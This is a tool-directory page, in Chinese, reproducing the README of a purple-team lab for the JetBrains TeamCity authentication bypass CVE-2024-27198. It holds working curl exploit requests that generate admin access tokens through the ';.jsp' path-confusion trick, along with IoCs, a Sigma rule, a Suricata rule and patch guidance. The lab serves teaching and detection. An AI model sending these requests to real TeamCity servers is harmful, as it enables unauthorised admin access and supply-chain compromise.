Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-27198_Lab — CVE-2024-27198实验室 | Kitploit
工具/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试威胁情报入侵检测学习与教育事件响应日志分析实验室与实践
251个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

CVE-2024-27198实验室

查看仓库
分享


CVE-2024-27198_Lab

JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)的漏洞研究与紫队演示实验环境

目录

  • 关于本项目
    • CVE 详情
    • 技术栈
  • 威胁情报与 OSINT
    • 真实世界影响与利用情况
    • 为何此 CVE 至关重要
  • 快速开始
    • 前置条件
    • 安装与实验环境搭建
  • 复现与利用步骤
    • 登录门户
    • 测试漏洞
    • 生成管理员令牌
    • 验证令牌
    • 删除令牌
    • 蓝队:在日志中搜寻 IoC
    • 停止容器
  • 缓解与检测
    • 技术分析(CWE-288)
    • 入侵指标(IoC)
    • 日志检测(Sigma 规则)
    • SIEM 实时演示(蓝队)
    • 修复措施
    • 网络检测(Suricata / Snort 规则)
    • 测试已修补版本
  • 链接

关于本项目

TeamCity 提供了一个仅限管理员访问的令牌管理页面,但该页面未受身份验证保护。这使得未认证用户只要能够找到现有用户的 ID,就可以为管理员用户生成访问令牌。

本仓库包含一个完整可复现的 Docker 化实验环境,其中既有存在漏洞的 TeamCity 环境(:8111),也有已修补的 TeamCity 环境(:8112),还包含自动化利用脚本(exploit.py)、蓝队日志搜寻演练,以及实时 SIEM 事件模拟器(siem_simulator.py)。

CVE 详情

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288(使用替代路径或通道绕过身份验证)
  • CNA: JetBrains s.r.o.
  • 基础评分: 9.8 严重
  • 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    • AV:N — 网络
    • AC:L — 低
    • PR:N — 无
    • UI:N — 无
    • S:U — 未改变
    • C:H — 高
    • I:H — 高
    • A:H — 高

技术栈

  • Docker
  • Python
  • JetBrains TeamCity
  • Sigma
  • Suricata

威胁情报与 OSINT

真实世界影响与利用情况

  • CISA KEV 目录: 于 2024 年 3 月 7 日 收录,确认该漏洞已在野遭到积极利用。
  • 威胁行为者: 已被多个勒索软件组织和 APT 利用,尤其是 BianLian 勒索软件组织 和 Jasmin 勒索软件变种。攻击者利用此绕过漏洞创建恶意管理员账户、部署恶意插件并执行任意代码(RCE),从而在受害者网络中进行横向移动。
  • 目标画像: CI/CD 流水线是高价值目标(供应链攻击)。攻陷 TeamCity 可使攻击者向软件构建中注入恶意代码、窃取源代码并提取部署密钥(AWS 密钥、证书)。

为什么此 CVE 至关重要

该漏洞存在于 REST API 路由机制中。通过向未认证端点附加特定字符(如 ?jsp=/app/rest/...;.jsp),攻击者可以诱使 TeamCity Web 服务器将请求路由到已认证端点,同时绕过安全过滤器。这无需任何先验知识或访问权限,因此其 CVSS 评分为纯粹的 9.8。

入门指南

要在本地启动并运行此实验环境,请按照以下简单示例步骤操作。

先决条件

  • Docker 与 Docker Compose
  • Python 3.10+
  • curl

安装与实验环境搭建

  1. 克隆仓库
    git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
    
  2. 切换目录
    cd CVE-2024-27198_Lab
    
  3. 启动容器
    docker compose up -d
    
  • 访问存在漏洞的 TeamCity 实例:http://localhost:8111
  • 访问已修补的 TeamCity 实例:http://localhost:8112

复现与利用步骤

登录门户

用户名:

admin

密码:

admin

测试漏洞

未经身份验证对资源发起 GET 请求:

curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users

两者都应返回状态码为 401 的错误。

为 admin 用户生成令牌

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

这应返回一个类似这样的令牌(每次令牌都不同):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

这应返回 401 状态码的错误,因为已修补的实例不存在该漏洞。

验证令牌

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

应返回用户列表。

删除令牌

  1. 使用管理员账户访问 http://localhost:8111。
  2. 点击右上角的个人资料图标。
  3. 进入 Profile -> Access Tokens。
  4. 你将看到“REDTEAM”令牌。
  5. 只需点击令牌旁边的 Delete。

蓝队:在日志中搜寻 IoC(隐蔽性因素)

在实验演示过程中,你可以展示一个重要的蓝队发现:默认情况下,此漏洞极其隐蔽!

  1. TeamCity Docker 镜像默认禁用 Tomcat 访问日志,因此 ;.jsp HTTP 请求不会被记录。
  2. TeamCity 审计日志不会记录通过 REST API 创建令牌的操作。

那么我们该如何捕获它?当攻击者清理其痕迹时! 当攻击者删除其恶意令牌以隐藏行踪时,TeamCity 确实会记录该操作。

在审计日志中查找攻击者掩盖痕迹的行为:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(你将看到一条日志条目,表明“REDTEAM”令牌已被删除)。

停止容器

docker compose down

缓解与检测

技术分析(CWE-288)

此漏洞属于 CWE-288:使用替代路径或通道绕过身份验证 的一个实例。 该缺陷源于 Tomcat Web 服务器与 TeamCity 应用程序路由器之间的路径混淆问题。通过附加 ;.jsp 并在 jsp= 参数中传入目标 REST API 端点,初始安全过滤器会将请求解释为对公共 .jsp 文件的未认证请求(这是被允许的)。然而,内部路由器会剥离 ;.jsp,并将请求转发至受限的 /app/rest/ 端点,而不强制执行身份验证过滤器。

合法用例(为什么允许 ;?): Tomcat 使用分号字符(;)表示 矩阵参数。从历史上看,此机制用于直接在路径中传递参数,例如在禁用 Cookie 时附加 JSESSIONID 以维护用户会话状态。这种正常、合法的 Web 服务器行为,加上 TeamCity 应用程序路由器的不当验证,共同构成了该漏洞。

入侵指标(IoCs)

为检测正在进行或过去发生的入侵,蓝队应关注:

  1. Web 日志: 针对 /app/rest/ 端点但 URI 中包含异常 ;.jsp 字符串的 HTTP 请求。
  2. 审计日志(teamcity-server.log): 无法解释的访问令牌生成或新管理员账户创建。
  3. 系统层面: 安装无法识别或可疑的插件(攻击者常利用此类插件提升权限并实现远程代码执行)。

日志检测(Sigma 规则)

由于初始利用默认具有隐蔽性,蓝队必须依赖检测攻击者的后利用行为,例如掩盖其痕迹。以下是一条供您的 SIEM 检测可疑令牌删除的 Sigma 规则:

title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM 实时演示(蓝队)

为了证明该检测机制有效,请运行 siem_simulator.py 脚本:

  1. 在漏洞利用终端旁边打开第二个终端。
  2. 确保存在漏洞的容器正在运行(docker compose up -d)。
  3. 运行模拟器:
python3 siem_simulator.py
  1. 在第一个终端中运行漏洞利用程序,验证令牌,然后通过 Web 界面删除该令牌。
  2. 观察第二个终端亮起红色严重警报,显示 Sigma 规则捕获了攻击者掩盖其踪迹的行为!

修复措施

  • 官方补丁: 将 TeamCity 升级到 2023.11.4 或更高版本,该版本在后端正确执行了清理并强制实施路由匹配。
  • 临时缓解措施: 如果无法打补丁,JetBrains 发布了一个安全补丁插件,可安装在存在漏洞的实例上。

网络检测(Suricata / Snort 规则)

为了在网络中检测此漏洞利用尝试,SOC 可以实施以下 IDS 规则,该规则会查找异常的 ;.jsp 模式与 REST API 路径的组合:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

测试已修补版本(实验演示)

为证明缓解措施有效,你可以针对运行在端口 8112 上的已修补 TeamCity 容器启动完全相同的漏洞利用载荷:

curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

由于该补丁严格强制路由匹配并正确清理矩阵参数,绕过将失败。你应该会看到 401 Unauthorized 或 404 Not Found 响应,而不是生成的令牌。

链接

  • CVE-2024-27198 (NVD)

(返回顶部)

下载工具